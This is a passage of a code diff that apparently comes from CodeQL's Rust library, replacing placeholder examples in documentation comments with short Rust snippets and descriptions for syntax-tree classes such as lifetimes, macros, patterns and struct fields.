+13,14 @@ private import codeql.rust.elements.internal.generated.LetElse module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` */ class LetElse extends Generated::LetElse { diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll index d4f0373cda3..db3bd53c893 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.LifetimeArg */ module Impl { /** - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * let text: Text<'a>; + * // ^^ * ``` */ class LifetimeArg extends Generated::LifetimeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll index e15f5733748..1825cf5804d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Lifetime module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` */ class Lifetime extends Generated::Lifetime { diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll index e4918e4cf56..7db6c5bcb69 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.LifetimeParam */ module Impl { /** - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` */ class LifetimeParam extends Generated::LifetimeParam { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll index f8f96315fd4..cac1d71dd1e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll @@ -22,9 +22,11 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); * ``` */ class MacroCall extends Generated::MacroCall { diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll index 17d0293b108..90cdfd533c6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.MacroDef */ module Impl { /** - * A MacroDef. For example: + * A Rust 2.0 style declarative macro definition. + * + * For example: * ```rust - * todo!() + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] + * } * ``` */ class MacroDef extends Generated::MacroDef { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll index 42c46e9e60b..2dfb6e445ac 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.MacroExpr */ module Impl { /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ class MacroExpr extends Generated::MacroExpr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll index 70c056fa5c1..166b105ab95 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll @@ -13,9 +13,20 @@ private import codeql.rust.elements.internal.generated.MacroPat */ module Impl { /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } + * match x { + * my_macro!() => "matched", + * // ^^^^^^^^^^^ + * _ => "not matched", + * } * ``` */ class MacroPat extends Generated::MacroPat { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll index ca0051dce8d..5d5b45ea84f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.MacroRules */ module Impl { /** - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ class MacroRules extends Generated::MacroRules { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll index 6ef366ccdfd..87801fe5877 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll @@ -13,9 +13,15 @@ private import codeql.rust.elements.internal.generated.MacroTypeRepr */ module Impl { /** - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * macro_rules! macro_type { + * () => { i32 }; + * } + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` */ class MacroTypeRepr extends Generated::MacroTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll index 5e1ac06282a..6f77dc0b42f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll @@ -13,9 +13,16 @@ private import codeql.rust.elements.internal.generated.MatchArmList */ module Impl { /** - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` */ class MatchArmList extends Generated::MatchArmList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll index e4bc039ee53..495fcc88ef6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll @@ -13,9 +13,15 @@ private import codeql.rust.elements.internal.generated.MatchGuard */ module Impl { /** - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` */ class MatchGuard extends Generated::MatchGuard { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll index 1e6b30b6249..bbac494ed3c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll @@ -13,9 +13,17 @@ private import codeql.rust.elements.internal.generated.Meta */ module Impl { /** - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` */ class Meta extends Generated::Meta { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll index 95e2fba9012..9290a1b06de 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Name module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ class Name extends Generated::Name { diff --git a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll index 373790de6e4..d42c416ed17 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.NameRef module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` */ class NameRef extends Generated::NameRef { diff --git a/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll index aff4282dadb..d8b2270bdc9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.NeverTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` */ class NeverTypeRepr extends Generated::NeverTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll index 297b7f26fad..c0b914c1e3c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParamList module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` */ class ParamList extends Generated::ParamList { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll index 42490c5c1cf..e8c800bc9b8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.ParenExpr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) * ``` */ class ParenExpr extends Generated::ParenExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll index a4c6873f214..f6fa342e8f9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParenPat module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` */ class ParenPat extends Generated::ParenPat { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll index 98a4ae9b31c..c96bae09eeb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParenTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` */ class ParenTypeRepr extends Generated::ParenTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll index ce1cc7e1b3d..b6b41caea7a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll @@ -12,5 +12,19 @@ private import codeql.rust.elements.internal.generated.ParenthesizedArgList * be referenced directly. */ module Impl { + /** + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` + */ class ParenthesizedArgList extends Generated::ParenthesizedArgList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll index 84cb37fcf61..42c32802bc2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll @@ -14,6 +14,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` */ class PathSegment extends Generated::PathSegment { override string toStringImpl() { result = this.toAbbreviatedString() } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll index cadb690afe8..c607e73dd7b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.PathTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust * type X = std::collections::HashMap; * type Y = X::Item; diff --git a/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll index c204a22a4ee..3e8c80ba0ea 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.PtrTypeRepr */ module Impl { /** - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` */ class PtrTypeRepr extends Generated::PtrTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll index 2770b12e9e5..334d223a42c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.RefTypeRepr */ module Impl { /** - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` */ class RefTypeRepr extends Generated::RefTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll index 99aead7ffaa..1788cf98c25 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Rename */ module Impl { /** - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` */ class Rename extends Generated::Rename { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll index e0fd26aae80..376ea98f22c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.RestPat module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ class RestPat extends Generated::RestPat { diff --git a/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll index 4271ec0f779..e7f9c48869d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.RetTypeRepr */ module Impl { /** - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` */ class RetTypeRepr extends Generated::RetTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll index 3ecfd51816c..ffb09d726ab 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll @@ -13,9 +13,22 @@ private import codeql.rust.elements.internal.generated.ReturnTypeSyntax */ module Impl { /** - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` */ class ReturnTypeSyntax extends Generated::ReturnTypeSyntax { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll index 4acc2f6aa0a..3c17ad922a6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.SliceTypeRepr */ module Impl { /** - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` */ class SliceTypeRepr extends Generated::SliceTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll index 38acafaacf4..7be1e405ddf 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.SourceFile */ module Impl { /** - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` */ class SourceFile extends Generated::SourceFile { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll index 69cad71522b..53042411bca 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.Static */ module Impl { /** - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` */ class Static extends Generated::Static { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll index 8bb9fb3ea0e..85940ef7d21 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll @@ -13,9 +13,15 @@ private import codeql.rust.elements.internal.generated.StmtList */ module Impl { /** - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` */ class StmtList extends Generated::StmtList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll index c86a488d215..b4197e55885 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.StructExprFieldList */ module Impl { /** - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` */ class StructExprFieldList extends Generated::StructExprFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll index 9b590f0d218..4ed4466c2d9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` */ class StructField extends Generated::StructField { diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll index 8626d38e058..a6a16d430c2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.StructFieldList */ module Impl { /** - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` */ class StructFieldList extends Generated::StructFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll index 9f8888d3b6e..3b6fc1ee4ea 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll @@ -16,7 +16,10 @@ module Impl { /** * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` */ class Struct extends Generated::Struct { diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll index 629406bd118..a2a078a5bf3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.StructPatFieldList */ module Impl { /** - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` */ class StructPatFieldList extends Generated::StructPatFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll index 111613deac3..15e9c15abe1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll @@ -13,9 +13,16 @@ private import codeql.rust.elements.internal.generated.TokenTree */ module Impl { /** - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ```rust + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class TokenTree extends Generated::TokenTree { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll index 56071483928..c11516896b4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.TraitAlias */ module Impl { /** - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` */ class TraitAlias extends Generated::TraitAlias { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll index be694161dc7..0eaa4462ea7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TryExpr */ module Impl { /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ class TryExpr extends Generated::TryExpr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll index d777d5b217b..05d799b6047 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` */ class TupleField extends Generated::TupleField { diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll index 1065853b735..3b5964693f3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TupleFieldList */ module Impl { /** - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleFieldList extends Generated::TupleFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll index c0ac7550920..47b18d2aca9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TupleTypeRepr */ module Impl { /** - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleTypeRepr extends Generated::TupleTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll index f48c2c50dbe..616bc8e5af5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TypeArg */ module Impl { /** - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` */ class TypeArg extends Generated::TypeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll index 